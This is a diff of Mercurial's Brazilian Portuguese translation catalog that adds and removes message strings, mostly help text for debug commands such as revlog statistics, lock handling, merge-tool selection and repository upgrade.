+msgid ""
+"    :``rev``:       revision number\n"
+"    :``chainid``:   delta chain identifier (numbered by unique base)\n"
+"    :``chainlen``:  delta chain length to this revision\n"
+"    :``prevrev``:   previous revision in delta chain\n"
+"    :``deltatype``: role of delta / how it was computed\n"
+"    :``compsize``:  compressed size of revision\n"
+"    :``uncompsize``: uncompressed size of revision\n"
+"    :``chainsize``: total size of compressed revisions in chain\n"
+"    :``chainratio``: total chain size divided by uncompressed revision size\n"
+"                    (new delta chains typically start at ratio 2.00)\n"
+"    :``lindist``:   linear distance from base revision in delta chain to end\n"
+"                    of this revision\n"
+"    :``extradist``: total size of revisions not part of this delta chain from\n"
+"                    base of delta chain to end of this revision; a measurement\n"
+"                    of how much extra data we need to read/seek across to read\n"
+"                    the delta chain for this revision\n"
+"    :``extraratio``: extradist divided by chainsize; another representation of\n"
+"                    how much unrelated data is needed to load this delta chain\n"
+"    "
+msgstr ""
+"    :``rev``:       número da revisão\n"
+"    :``chainid``:   identificador de cadeia de deltas (numerado por base única)\n"
+"    :``chainlen``:  comprimento da cadeia de deltas para esta revisão\n"
+"    :``prevrev``:   revisão anterior na cadeia de deltas\n"
+"    :``deltatype``: tipo de delta / como foi computado\n"
+"    :``compsize``:  tamanho comprimido da revisão\n"
+"    :``uncompsize``: tamanho não comprimido da revisão\n"
+"    :``chainsize``: tamanho total das revisões comprimidas na cadeia\n"
+"    :``chainratio``: tamanho total da cadeia dividido pelo tamanho não\n"
+"                    comprimido da revisão\n"
+"                    (novas cadeias de deltas tipicamente começam em 2.00)\n"
+"    :``lindist``:   distância linear da revisão base na cadeia de deltas\n"
+"                    até o final desta revisão\n"
+"    :``extradist``: tamanho total de revisões que não fazem parte desta\n"
+"                    cadeia de deltas da base da cadeia de deltas até o\n"
+"                    fim desta revisão; uma medida de quantos dados\n"
+"                    extras em leitura ou posicionamento são necessários\n"
+"                    para ler a cadeia de deltas para esta revisão\n"
+"    :``extraratio``: extradist dividido por chainsize; outra representação\n"
+"                    de quantos dados não relacionados são necessários para\n"
+"                    carregar esta cadeia de deltas\n"
+"    "
+
 msgid "cannot use --commit with --no-commit"
 msgstr "não é possível usar --commit com --no-commit"
 
@@ -12593,6 +13398,9 @@
 msgid "merging with changeset %s\n"
 msgstr "mesclando com revisão %s\n"
 
+msgid "show the contents of the current dirstate"
+msgstr "mostra o conteúdo do dirstate atual"
+
 msgid "reset bisect state"
 msgstr "reinicia o estado da bisseção"
 
@@ -12779,12 +13587,28 @@
 "      Veja :hg:`help revisions.bisect` para mais informações sobre o\n"
 "      predicado `bisect()`."
 
+msgid "runs the changeset discovery protocol in isolation"
+msgstr "executa o protocolo discovery isoladamente"
+
+msgid "show information about active extensions"
+msgstr "mostra informações sobre extensões ativas"
+
 msgid "(use of 'hg bisect <cmd>' is deprecated)\n"
 msgstr "(o uso 'hg bisect <cmd>' é obsoleto)\n"
 
 msgid "incompatible arguments"
 msgstr "argumentos incompatíveis"
 
+#, python-format
+msgid "%s and %s are incompatible"
+msgstr "%s e %s são incompatíveis"
+
+msgid "parse and apply a fileset specification"
+msgstr "interpreta e aplica uma especificação de fileset"
+
+msgid "show information detected about current filesystem"
+msgstr "mostra informações detectadas sobre o sistema de arquivos atual"
+
 msgid "current bisect revision is unknown - start a new bisect to fix"
 msgstr ""
 "a revisão bissecionada atual é desconhecida - para corrigir inicie uma nova "
@@ -12793,6 +13617,18 @@
 msgid "current bisect revision is a merge"
 msgstr "a revisão bissecionada atual é uma mesclagem"
 
+msgid "retrieves a bundle from a repo"
+msgstr "obtém um bundle de um repositório"
+
+msgid ""
+"    Every ID must be a full-length hex node id string. Saves the bundle to the\n"
+"    given file.\n"
+"    "
+msgstr ""
+"    Todo ID deve ser uma string hexadecimal completa.\n"
+"    Grava o bundle no arquivo pedido.\n"
+"    "
+
 #, python-format
 msgid "failed to execute %s"
 msgstr "falhou ao executar %s"
@@ -12805,6 +13641,25 @@
 msgid "changeset %d:%s: %s\n"
 msgstr "revisão %d:%s: %s\n"
 
+msgid ""
+"display the combined ignore pattern and information about ignored files"
+msgstr ""
+"exibe o padrão combinado de arquivos ignorados e informações sobre arquivos "
+"ignorados"
+
+msgid "    With no argument display the combined ignore pattern."
+msgstr "    Sem parâmetros, exibe o padrão combinado de arquivos ignorados."
+
+msgid ""
+"    Given space separated file names, shows if the given file is ignored and\n"
+"    if so, show the ignore rule (file and line number) that matched it.\n"
+"    "
+msgstr ""
+"    Dados nomes de arquivo separados por espaços, mostra se o\n"
+"    arquivo pedido é ignorado, e se for, mostra a regra de\n"
+"    .hgignore correspondente (arquivo e número da linha).\n"
+"    "
+
 #, python-format
 msgid "Extending search to changeset %d:%s\n"
 msgstr "Ampliando a busca até a revisão %d:%s\n"
@@ -12837,6 +13692,9 @@
 msgid "hg bookmarks [OPTIONS]... [NAME]..."
 msgstr "hg bookmarks [OPÇÕES]... [NOME]..."
 
+msgid "dump the contents of an index file"
+msgstr "extrai o conteúdo de um arquivo de índice"
+
 msgid "create a new bookmark or list existing bookmarks"
 msgstr "cria um novo marcador ou lista marcadores existentes"
 
@@ -12921,44 +13779,29 @@
 "          hg book -f @\n"
 "    "
 
-msgid "bookmark names cannot consist entirely of whitespace"
-msgstr "nomes de marcadores não podem conter apenas espaços em branco"
-
-#, python-format
-msgid "moving bookmark '%s' forward from %s\n"
-msgstr "movendo marcador '%s' para frente a partir de %s\n"
-
-#, python-format
-msgid "bookmark '%s' already exists (use -f to force)"
-msgstr "o marcador '%s' já existe (use -f para forçar)"
-
-msgid "a bookmark cannot have the name of an existing branch"
-msgstr "um marcador não pode ter o mesmo nome de um ramo existente"
-
 msgid "--delete and --rename are incompatible"
 msgstr "--delete e --rename são incompatíveis"
 
 msgid "--rev is incompatible with --delete"
 msgstr "--rev é incompatível com --delete"
 
+msgid "dump an index DAG as a graphviz dot file"
+msgstr "extrai os dados de um índice DAG como um arquivo .dot do graphviz"
+
 msgid "--rev is incompatible with --rename"
 msgstr "--rev é incompatível com --rename"
 
 msgid "bookmark name required"
 msgstr "requerido nome do marcador"
 
-#, python-format
-msgid "bookmark '%s' does not exist"
-msgstr "o marcador '%s' não existe"
-
 msgid "new bookmark name required"
 msgstr "requerido nome do novo marcador"
 
 msgid "only one new bookmark name allowed"
 msgstr "apenas um novo nome de marcador é permitido"
 
-msgid "no bookmarks set\n"
-msgstr "nenhum marcador definido\n"
+msgid "test Mercurial installation"
+msgstr "testa a instalação do Mercurial"
 
 msgid "no active bookmark\n"
 msgstr "nenhum marcador ativo\n"
@@ -13159,9 +14002,66 @@
 "    Devolve 0 indicando sucesso, 1 se não foram encontradas mudanças.\n"
 "    "
 
+msgid "test whether node ids are known to a repo"
+msgstr "testa se os ids dos nós são conhecidos em um repositório"
+
+msgid ""
+"    Every ID must be a full-length hex node id string. Returns a list of 0s\n"
+"    and 1s indicating unknown/known.\n"
+"    "
+msgstr ""
+"    Todo ID deve ser uma string hexadecimal completa.\n"
+"    Devolve uma lista de 0s e 1s indicando respectivamente\n"
+"    desconhecidos e conhecidos.\n"
+"    "
+
+msgid "backwards compatibility with old bash completion scripts (DEPRECATED)"
+msgstr ""
+"compatibilidade retroativa com antigos scripts bash de completação "
+"(OBSOLETO)"
+
 msgid "no commits to bundle"
 msgstr "nenhuma revisão a ser incluída no bundle"
 
+msgid "show or modify state of locks"
+msgstr "mostra ou modifica o estado dos locks"
+
+msgid ""
+"    By default, this command will show which locks are held. This\n"
+"    includes the user and process holding the lock, the amount of time\n"
+"    the lock has been held, and the machine name where the process is\n"
+"    running if it's not local."
+msgstr ""
+"    Por padrão, este comando mostra quais locks estão bloqueados.\n"
+"    Isso inclui o usuário e processo donos do lock, há quanto tempo\n"
+"    o lock está bloqueado, e o nome da máquina onde o processo\n"
+"    está rodando, se não for a máquina local."
+
+msgid ""
+"    Locks protect the integrity of Mercurial's data, so should be\n"
+"    treated with care. System crashes or other interruptions may cause\n"
+"    locks to not be properly released, though Mercurial will usually\n"
+"    detect and remove such stale locks automatically."
+msgstr ""
+"    Locks protegem a integridade dos dados do Mercurial, então\n"
+"    devem ser usados com cuidado. Quedas de sistema ou outras\n"
+"    interrupções podem fazer com que locks não sejam liberados\n"
+"    adequadamente, apesar de o Mercurial tipicamente detectar e\n"
+"    liberar esses locks inválidos automaticamente."
+
+msgid ""
+"    However, detecting stale locks may not always be possible (for\n"
+"    instance, on a shared filesystem). Removing locks may also be\n"
+"    blocked by filesystem permissions."
+msgstr ""
+"    No entanto, pode não ser possível detectar locks inválidos (por\n"
+"    exemplo, em um sistema de arquivos compartilhado). A remoção de\n"
+"    locks também pode ser bloqueada por permissões do sistema de\n"
+"    arquivos."
+
+msgid "    Returns 0 if no locks are held."
+msgstr "    Devolve 0 se se nenhum lock estiver bloqueado."
+
 msgid "see 'hg help bundlespec' for supported values for --type"
 msgstr "veja 'hg help bundlespec' para valores suportados em --type"
 
@@ -13184,6 +14084,16 @@
 msgid "--base is incompatible with specifying a destination"
 msgstr "--base é incompatível com uma especificação de destino"
 
+msgid "print merge state"
+msgstr "imprime o estado da mesclagem"
+
+msgid ""
+"    Use --verbose to print out information about whether v1 or v2 merge state\n"
+"    was chosen."
+msgstr ""
+"    Use --verbose para imprimir informações a respeito de como foi\n"
+"    feita a escolha entre os estados de mesclagem v1 e v2.    "
+
 msgid "print output to file with formatted name"
 msgstr "imprime a saída para o arquivo com o nome formatado"
 
@@ -13463,14 +14373,19 @@
 msgid "    See :hg:`help urls` for details on specifying URLs."
 msgstr "    Veja :hg:`help urls` para detalhes sobre a especificação de URLs."
 
+msgid "complete \"names\" - tags, open branch names, bookmark names"
+msgstr ""
+"completa \"nomes\" - etiquetas, nomes de ramos abertos, nomes de marcadores"
+
+msgid "create arbitrary obsolete marker"
+msgstr "cria uma marcação de obsolescência arbitrária"
+
+msgid "    With no arguments, displays the list of obsolescence markers."
+msgstr "    Sem parâmetros, mostra a lista de marcações de obsolescência."
+
 msgid "cannot specify both --noupdate and --updaterev"
 msgstr "não se pode especificar ao mesmo tempo ---noupdate e --updaterev"
 
-msgid "mark new/missing files as added/removed before committing"
-msgstr ""
-"marca arquivos novos/ausentes como adicionados/removidos antes da "
-"consolidação"
-
 msgid "mark a branch head as closed"
 msgstr "marca uma cabeça de ramo como fechada"
 
@@ -13480,9 +14395,6 @@
 msgid "use the secret phase for committing"
 msgstr "consolida a revisão na fase \"secret\""
 
-msgid "use interactive mode"
-msgstr "use o modo interativo"
-
 msgid "commit the specified files or all outstanding changes"
 msgstr "consolida os arquivos pedidos ou todas as mudanças por gravar"
 
@@ -13588,6 +14500,25 @@
 "          hg commit --amend --date now\n"
 "    "
 
+msgid "complete part or all of a tracked path"
+msgstr "completa todo ou uma parte de um caminho rastreado"
+
+msgid ""
+"    This command supports shells that offer path name completion. It\n"
+"    currently completes only files already known to the dirstate."
+msgstr ""
+"    Este comando suporta shells que ofereçam completação de\n"
+"    nomes de caminhos. Atualmente, apenas arquivos já presentes\n"
+"    no dirstate serão completados."
+
+msgid ""
+"    Completion extends only to the next path segment unless\n"
+"    --full is specified, in which case entire paths are used."
+msgstr ""
+"    A completação por padrão é feita apenas para o próximo segmento\n"
+"    do caminho. Se --full for especificado, são usados caminhos\n"
+"    completos."
+
 msgid "cannot amend with --subrepos"
 msgstr "amend não suporta --subrepos"
 
@@ -13606,6 +14537,100 @@
 msgid "cannot amend changeset with children"
 msgstr "não é possível emendar revisões com filhas"
 
+msgid "examine which merge tool is chosen for specified file"
+msgstr ""
+"examina qual utilitário de mesclagem será escolhido para o arquivo "
+"especificado"
+
+msgid ""
+"    As described in :hg:`help merge-tools`, Mercurial examines\n"
+"    configurations below in this order to decide which merge tool is\n"
+"    chosen for specified file."
+msgstr ""
+"    Como descrito em :hg:`help merge-tools`, o Mercurial examina\n"
+"    as configurações abaixo em ordem para decidir qual ferramenta\n"
+"    de mesclagem será escolhida para o arquivo especificado."
+
+msgid ""
+"    1. ``--tool`` option\n"
+"    2. ``HGMERGE`` environment variable\n"
+"    3. configurations in ``merge-patterns`` section\n"
+"    4. configuration of ``ui.merge``\n"
+"    5. configurations in ``merge-tools`` section\n"
+"    6. ``hgmerge`` tool (for historical reason only)\n"
+"    7. default tool for fallback (``:merge`` or ``:prompt``)"
+msgstr ""
+"    1. opção ``--tool``\n"
+"    2. variável de ambiente ``HGMERGE``\n"
+"    3. configurações na seção ``merge-patterns``\n"
+"    4. configuração ``ui.merge``\n"
+"    5. configurações na seção ``merge-tools``\n"
+"    6. ferramenta ``hgmerge`` (apenas por razões históricas)\n"
+"    7. ferramenta padrão para fallback (``:merge`` ou ``:prompt``)"
+
+msgid "    This command writes out examination result in the style below::"
+msgstr "    Este comando imprime o resultado dessa análise no estilo abaixo::"
+
+msgid "        FILE = MERGETOOL"
+msgstr "        ARQUIVO = FERRAMENTA"
+
+msgid ""
+"    By default, all files known in the first parent context of the\n"
+"    working directory are examined. Use file patterns and/or -I/-X\n"
+"    options to limit target files. -r/--rev is also useful to examine\n"
+"    files in another context without actual updating to it."
+msgstr ""
+"    Por padrão, todos os arquivos conhecidos no contexto do\n"
+"    primeiro pai do diretório de trabalho serão examinados.\n"
+"    Use padrões de arquivo e/ou opções -I/-X para limitar\n"
+"    os arquivos desejados.\n"
+"    -r/--rev pode ser usada para examinar arquivos em outro\n"
+"    contexto sem a necessidade de atualizar para a revisão."
+
+msgid ""
+"    With --debug, this command shows warning messages while matching\n"
+"    against ``merge-patterns`` and so on, too. It is recommended to\n"
+"    use this option with explicit file patterns and/or -I/-X options,\n"
+"    because this option increases amount of output per file according\n"
+"    to configurations in hgrc."
+msgstr ""
+"    Com --debug, este comando também exibe mensagens de aviso\n"
+"    ao avaliar cada configuração.\n"
+"    É recomendado usar esta opção ao passar padrões de arquivo\n"
+"    e/ou opções -I/-X, pois esta opção aumenta a quantidade\n"
+"    de informação gerada por arquivo de acordo com configurações\n"
+"    no arquivo hgrc."
+
+msgid ""
+"    With -v/--verbose, this command shows configurations below at\n"
+"    first (only if specified)."
+msgstr ""
+"    Com -v/--verbose, este comando mostra primeiro as configurações\n"
+"    abaixo, se especificadas."
+
+msgid ""
+"    - ``--tool`` option\n"
+"    - ``HGMERGE`` environment variable\n"
+"    - configuration of ``ui.merge``"
+msgstr ""
+"    - opção ``--tool``\n"
+"    - variável de ambiente ``HGMERGE``\n"
+"    - configuração ``ui.merge``"
+
+msgid ""
+"    If merge tool is chosen before matching against\n"
+"    ``merge-patterns``, this command can't show any helpful\n"
+"    information, even with --debug. In such case, information above is\n"
+"    useful to know why a merge tool is chosen.\n"
+"    "
+msgstr ""
+"    Se uma ferramenta de mesclagem for escolhida antes da\n"
+"    avaliação de ``merge-patterns``, este comando não\n"
+"    consegue exibir informações úteis, mesmo com --debug.\n"
+"    Nesse caso, a informação acima é útil para entender por\n"
+"    quê uma ferramenta de mesclagem foi escolhida.\n"
+"    "
+
 msgid "show untrusted configuration options"
 msgstr "mostra opções de configuração não confiáveis"
 
@@ -13667,6 +14692,22 @@
 msgid "    Returns 0 on success, 1 if NAME does not exist."
 msgstr "    Devolve 0 para indicar sucesso, 1 se o NOME não existir."
 
+msgid "access the pushkey key/value protocol"
+msgstr "acessa o protocolo pushkey de pares chave/valor"
+
+msgid "    With two args, list the keys in the given namespace."
+msgstr "    Com dois argumentos, lista as chaves no espaço de nomes dado."
+
+msgid ""
+"    With five args, set a key to new if it currently is set to old.\n"
+"    Reports success or failure.\n"
+"    "
+msgstr ""
+"    Com cinco argumentos, redefine uma chave para o novo valor se\n"
+"    estiver no momento definida para o valor antigo.\n"
+"    Informa sobre sucesso ou falha.\n"
+"    "
+
 msgid "can't use --local and --global together"
 msgstr "não se pode usar --local e --global ao mesmo tempo"
 
@@ -13676,9 +14717,53 @@
 msgid "edit failed"
 msgstr "falha ao editar"
 
+msgid "rebuild the dirstate as it would look like for the given revision"
+msgstr "reconstrói o dirstate como ele pareceria para a revisão dada"
+
+msgid "    If no revision is specified the first current parent will be used."
+msgstr ""
+"    Se nenhuma revisão for especificada, será usado o primeiro pai do "
+"diretório de trabalho."
+
+msgid ""
+"    The dirstate will be set to the files of the given revision.\n"
+"    The actual working directory content or existing dirstate\n"
+"    information such as adds or removes is not considered."
+msgstr ""
+"    O dirstate será definido para os arquivos da revisão pedida.\n"
+"    O conteúdo real do diretório de trabalho e informações existentes\n"
+"    no dirstate (como adições e remoções) não são considerados."
+
+msgid ""
+"    ``minimal`` will only rebuild the dirstate status for files that claim to be\n"
+"    tracked but are not in the parent manifest, or that exist in the parent\n"
+"    manifest but are not in the dirstate. It will not change adds, removes, or\n"
+"    modified files that are in the working copy parent."
+msgstr ""
+"    ``minimal`` só reconstruirá o status do dirstate para arquivos\n"
+"    rastreados que não estejam no manifesto do pai, ou que estejam\n"
+"    no manifesto do pai mas não no dirstate. Arquivos adicionados,\n"
+"    removidos ou modificados presentes no pai da cópia de trabalho\n"
+"    não serão modificados."
+
+msgid ""
+"    One use of this command is to make the next :hg:`status` invocation\n"
+"    check the actual file content.\n"
+"    "
+msgstr ""
+"    Um uso para este comando é fazer com que a próxima execução\n"
+"    de :hg:`status` verifique o conteúdo real dos arquivos.\n"
+"    "
+
 msgid "only one config item permitted"
 msgstr "apenas um item de configuração permitido"
 
+msgid "rebuild the fncache file"
+msgstr "reconstrói o arquivo fncache"
+
+msgid "dump rename information"
+msgstr "exibe informações de renomeação"
+
 msgid "record a copy that has already occurred"
 msgstr "grava uma cópia que já ocorreu"
 
@@ -13723,6 +14808,24 @@
 "    Devolve 0 para indicar sucesso, 1 se erros forem encontrados.\n"
 "    "
 
+msgid "show data and statistics about a revlog"
+msgstr "mostra dados e estatísticas sobre um revlog"
+
+msgid "[COMMAND]"
+msgstr "[COMANDO]"
+
+msgid "list all available commands and options"
+msgstr "exibe todas as opções e comandos disponíveis"
+
+msgid "show the command options"
+msgstr "exibe opções dos comandos"
+
+msgid "[-o] CMD"
+msgstr "[-o] CMD"
+
+msgid "returns the completion list associated with the given command"
+msgstr "devolve a lista de complementos associada ao comando dado"
+
 msgid "[OPTION]... ([-c REV] | [-r REV1 [-r REV2]]) [FILE]..."
 msgstr "[OPÇÃO]... ([-c REV] | [-r REV1 [-r REV2]]) [ARQUIVO]..."
 
@@ -14029,6 +15132,34 @@
 msgid "    Returns 0 if a match is found, 1 otherwise."
 msgstr "    Devolve 0 se um resultado for encontrado, 1 caso contrário."
 
+msgid "parse and apply a revision specification"
+msgstr "interpreta e aplica uma especificação de revisões"
+
+msgid ""
+"    Use -p/--show-stage option to print the parsed tree at the given stages.\n"
+"    Use -p all to print tree at every stage."
+msgstr ""
+"    Use -p/--show-stage para imprimir a árvore de parsing nos estágios pedidos.\n"
+"    Use -p all para imprimir a árvore em todos os estágios."
+
+msgid ""
+"    Use --no-show-revs option with -s or -p to print only the set\n"
+"    representation or the parsed tree respectively."
+msgstr ""
+"    Use a opção --no-show-revs com -s ou -p para imprimir apenas\n"
+"    a representação de conjunto ou a árvore de decodificação,\n"
+"    respectivamente."
+
+msgid ""
+"    Use --verify-optimized to compare the optimized result with the unoptimized\n"
+"    one. Returns 1 if the optimized result differs.\n"
+"    "
+msgstr ""
+"    Use --verify-optimized para comparar o resultado otimizado com o\n"
+"    resultado sem otimização. Retorna 1 se o resultado otimizado for\n"
+"    diferente.\n"
+"    "
+
 msgid "forget the specified files on the next commit"
 msgstr "esquece os arquivos especificados na próxima consolidação"
 
@@ -14085,6 +15216,20 @@
 msgid "record the current date as commit date"
 msgstr "grava a data atual como data da consolidação"
 
+msgid "manually set the parents of the current working directory"
+msgstr "muda manualmente os pais do diretório de trabalho atual"
+
+msgid ""
+"    This is useful for writing repository conversion tools, but should\n"
+"    be used with care. For example, neither the working directory nor the\n"
+"    dirstate is updated, so file status may be incorrect after running this\n"
+"    command."
+msgstr ""
+"    Isto é útil para escrever utilitários de conversão de repositórios,\n"
+"    mas deve ser usado com cuidado. Por exemplo, nem o diretório de\n"
+"    trabalho nem o dirstate são atualizados, de modo que o status dos\n"
+"    arquivos pode ficar incorreto após a execução deste comando."
+
 msgid "record the current user as committer"
 msgstr "grava o usuário atual como autor da consolidação"
 
@@ -14198,6 +15343,37 @@
 "    Devolve 0 para indicar sucesso.\n"
 "    "
 
+msgid "test a secure connection to a server"
+msgstr "testa uma conexão segura com um servidor"
+
+msgid ""
+"    This builds the certificate chain for the server on Windows, installing the\n"
+"    missing intermediates and trusted root via Windows Update if necessary.  It\n"
+"    does nothing on other platforms."
+msgstr ""
+"    Em Windows, este comando constrói a cadeia de certificados para\n"
+"    o servidor, instalando os certificados intermediários e raízes\n"
+"    confiáveis faltantes através do Windows Update, se necessário.\n"
+"    Ele não tem efeito em outras plataformas."
+
+msgid ""
+"    If SOURCE is omitted, the 'default' path will be used.  If a URL is given,\n"
+"    that server is used. See :hg:`help urls` for more information."
+msgstr ""
+"    Se ORIGEM for omitida, o caminho 'default' será usado.\n"
+"    Se uma URL for passada, tal servidor será usado.\n"
+"    Veja :hg:`help urls` para mais informações."
+
+msgid ""
+"    If the update succeeds, retry the original operation.  Otherwise, the cause\n"
+"    of the SSL error is likely another issue.\n"
+"    "
+msgstr ""
+"    Se a atualização tiver sucesso, tente novamente a\n"
+"    operação original.\n"
+"    Caso contrário, o erro SSL foi provavelmente causado\n"
+"    por outro motivo."
+
 msgid ""
 "warning: inconsistent use of --rev might give unexpected revision "
 "ordering!\n"
@@ -14208,6 +15384,76 @@
 msgid "can't specify --continue and revisions"
 msgstr "não é possível especificar --continue e revisões"
 
+msgid "show set of successors for revision"
+msgstr "mostra conjunto de sucessores da revisão"
+
+msgid ""
+"    A successors set of changeset A is a consistent group of revisions that\n"
+"    succeed A. It contains non-obsolete changesets only unless closests\n"
+"    successors set is set."
+msgstr ""
+"    Um conjunto de sucessores de uma revisão A é um grupo consistente de\n"
+"    revisões que sucedem A. Pode conter apenas revisões não obsoletas,\n"
+"    a não ser que o parâmetro closests esteja definido."
+
+msgid ""
+"    In most cases a changeset A has a single successors set containing a single\n"
+"    successor (changeset A replaced by A')."
+msgstr ""
+"    Na maior parte dos casos uma revisão A possui um único conjunto\n"
+"    de sucessores contendo um único sucessor (revisão A substituída por A')."
+
+msgid ""
+"    A changeset that is made obsolete with no successors are called \"pruned\".\n"
+"    Such changesets have no successors sets at all."
+msgstr ""
+"    Uma revisão sem sucessores tornada obsoleta é chamada \"podada\".\n"
+"    Tais revisões não possuem nenhum conjunto de sucessores."
+
+msgid ""
+"    A changeset that has been \"split\" will have a successors set containing\n"
+"    more than one successor."
+msgstr ""
+"    Uma revisão que tenha sido \"dividida\" terá um conjunto de\n"
+"    sucessores contendo mais de um sucessor."
+
+msgid ""
+"    A changeset that has been rewritten in multiple different ways is called\n"
+"    \"divergent\". Such changesets have multiple successor sets (each of which\n"
+"    may also be split, i.e. have multiple successors)."
+msgstr ""
+"    Uma revisão que tenha sido reescrita de múltiplas formas diferentes\n"
+"    é chamada \"divergente\". Tais revisões possuem múltiplos conjuntos\n"
+"    de sucessores (cada um dos quais pode também ser dividido, isto é,\n"
+"    ter múltiplos sucessores)."
+
+msgid "    Results are displayed as follows::"
+msgstr "    Os resultados são mostrados da seguinte maneira::"
+
+msgid ""
+"        <rev1>\n"
+"            <successors-1A>\n"
+"        <rev2>\n"
+"            <successors-2A>\n"
+"            <successors-2B1> <successors-2B2> <successors-2B3>"
+msgstr ""
+"        <rev1>\n"
+"            <sucessores-1A>\n"
+"        <rev2>\n"
+"            <sucessores-2A>\n"
+"            <sucessores-2B1> <sucessores-2B2> <sucessores-2B3>"
+
+msgid ""
+"    Here rev2 has two possible (i.e. divergent) successors sets. The first\n"
+"    holds one element, whereas the second holds three (i.e. the changeset has\n"
+"    been split).\n"
+"    "
+msgstr ""
+"    Aqui, rev2 possui dois (ou seja, divergentes) possíveis conjuntos\n"
+"    de sucessores. O primeiro possui um elemento, e o segundo possui\n"
+"    três (a revisão foi dividida).\n"
+"    "
+
 msgid "graft"
 msgstr "força o enxerto"
 
@@ -14219,6 +15465,25 @@
 msgid "skipping ancestor revision %d:%s\n"
 msgstr "omitindo revisão ancestral %d:%s\n"
 
+msgid "parse and apply a template"
+msgstr "decodifica e aplica um modelo"
+
+msgid ""
+"    If -r/--rev is given, the template is processed as a log template and\n"
+"    applied to the given changesets. Otherwise, it is processed as a generic\n"
+"    template."
+msgstr ""
+"    Se -r/--rev for fornecida, o modelo será processado como um modelo\n"
+"    de log e aplicado às revisões pedidas.\n"
+"    Caso contrário, será processado como um modelo genérico."
+
+msgid ""
+"    Use --verbose to print the parsed tree.\n"
+"    "
+msgstr ""
+"    Use --verbose para imprimir a árvore decodificada.\n"
+"    "
+
 #, python-format
 msgid "skipping revision %d:%s (already grafted to %d:%s)\n"
 msgstr "omitindo revisão %d:%s (já enxertada em %d:%s)\n"
@@ -14243,6 +15508,59 @@
 msgid "grafting %s\n"
 msgstr "enxertando %s\n"
 
+msgid "warm all known caches in the repository"
+msgstr "aquece todos os caches conhecidos no repositório"
+
+msgid "upgrade a repository to use different features"
+msgstr "melhora um repositório para usar diferentes funcionalidades"
+
+msgid ""
+"    If no arguments are specified, the repository is evaluated for upgrade\n"
+"    and a list of problems and potential optimizations is printed."
+msgstr ""
+"    Se nenhum argumento for especificado, o repositório será\n"
+"    avaliado para atualização de funcionalidades, e será exibida\n"
+"    uma lista de problemas e otimizações em potencial."
+
+msgid ""
+"    With ``--run``, a repository upgrade is performed. Behavior of the upgrade\n"
+"    can be influenced via additional arguments. More details will be provided\n"
+"    by the command output when run without ``--run``."
+msgstr ""
+"    Com ``--run``, o repositório será melhorado para usar novas\n"
+"    funcionalidades.\n"
+"    O comportamento dessa atualização pode ser influenciado com\n"
+"    parâmetros adicionais.\n"
+"    Sem a opção ``--run``, o comando fornece mais detalhes sobre\n"
+"    essa operação."
+
+msgid ""
+"    During the upgrade, the repository will be locked and no writes will be\n"
+"    allowed."
+msgstr ""
+"    Durante a atualização, o repositório será travado, e nenhuma\n"
+"    escrita será permitida."
+
+msgid ""
+"    At the end of the upgrade, the repository may not be readable while new\n"
+"    repository data is swapped in. This window will be as long as it takes to\n"
+"    rename some directories inside the ``.hg`` directory. On most machines, this\n"
+"    should complete almost instantaneously and the chances of a consumer being\n"
+"    unable to access the repository should be low.\n"
+"    "
+msgstr ""
+"    Ao término da atualização, o repositório pode não estar\n"
+"    disponível para leitura, enquanto é feita a troca para os\n"
+"    novos dados de repositório.\n"
+"    Esta janela corresponde à renomeação de alguns diretórios\n"
+"    dentro do diretório ``.hg``.\n"
+"    Na maior parte das máquinas, isto deve completar quase\n"
+"    instantaneamente, minimizando a chance de um usuário ser\n"
+"    afetado pela mudança."
+
+msgid "show how files match on given patterns"
+msgstr "mostra como os arquivos casam com os padrões pedidos"
+
 #, python-format
 msgid "use 'hg resolve' and 'hg graft --continue%s'"
 msgstr "use 'hg resolve' e 'hg graft --continue%s'"
@@ -16345,6 +17663,9 @@
 msgid "show only ignored files"
 msgstr "mostra apenas arquivos ignorados"
 
+msgid "show the terse output (EXPERIMENTAL)"
+msgstr "exibe saída abreviada (EXPERIMENTAL)"
+
 msgid "show source of copied files"
 msgstr "mostra a origem de arquivos copiados"
 
@@ -16428,6 +17749,31 @@
 "        = origem do arquivo anterior (com --copies)"
 
 msgid ""
+"      The -t/--terse option abbreviates the output by showing directory name\n"
+"      if all the files in it share the same status. The option expects a value\n"
+"      which can be a string formed by using 'm', 'a', 'r', 'd', 'u', 'i', 'c'\n"
+"      where, 'm' stands for 'modified', 'a' for 'added', 'r' for 'removed',\n"
+"      'd' for 'deleted', 'u' for 'unknown', 'i' for 'ignored' and 'c' for clean."
+msgstr ""
+"      A opção -t/--terse abrevia a saída mostrando o nome do\n"
+"      diretório se todos os arquivos dentro dele tiverem o\n"
+"      mesmo estado.\n"
+"      A opção recebe um valor que pode ser uma string formada\n"
+"      pelo uso de 'm', 'a', 'r', 'd', 'u', 'i', 'c',\n"
+"      onde 'm' indica 'modificado', 'a' 'adicionado',\n"
+"      'r' 'removido', 'd' 'apagado', 'u' 'desconhecido',\n"
+"      'i' 'ignorado' e 'c' 'limpo'."
+
+msgid ""
+"      It terses the output of only those status which are passed. The ignored\n"
+"      files are not considered while tersing until 'i' is there in --terse value\n"
+"      or the --ignored option is used."
+msgstr ""
+"      A saída será abreviada apenas para os status que forem passados.\n"
+"      Os arquivos ignorados não serão considerados a não ser que 'i'\n"
+"      seja passado em --terse ou a opção --ignored seja usada."
+
+msgid ""
 "      - show changes in the working directory relative to a\n"
 "        changeset::"
 msgstr ""
@@ -16462,6 +17808,9 @@
 msgid "          hg status -an0"
 msgstr "          hg status -an0"
 
+msgid "cannot use --terse with --rev"
+msgstr "não é possível usar --terse com --rev"
+
 msgid "check for push and pull"
 msgstr "verifica push e pull"
 
@@ -16806,6 +18155,12 @@
 "    em arquivos não resolvidos.\n"
 "    "
 
+msgid "packed bundles cannot be applied with \"hg unbundle\""
+msgstr "packed bundles não podem ser aplicados com \"hg unbundle\""
+
+msgid "use \"hg debugapplystreamclonebundle\""
+msgstr "use \"hg debugapplystreamclonebundle\""
+
 #, python-format
 msgid "%s: unknown bundle feature, %s"
 msgstr "%s: característica de bundle %s desconhecida"
@@ -16814,12 +18169,6 @@
 msgstr ""
 "veja https://mercurial-scm.org/wiki/BundleFeature para mais informações"
 
-msgid "packed bundles cannot be applied with \"hg unbundle\""
-msgstr "packed bundles não podem ser aplicados com \"hg unbundle\""
-
-msgid "use \"hg debugapplystreamclonebundle\""
-msgstr "use \"hg debugapplystreamclonebundle\""
-
 msgid "discard uncommitted changes (no backup)"
 msgstr "descarta mudanças não consolidadas (sem backup)"
 
@@ -17353,6 +18702,9 @@
 msgid "show all details"
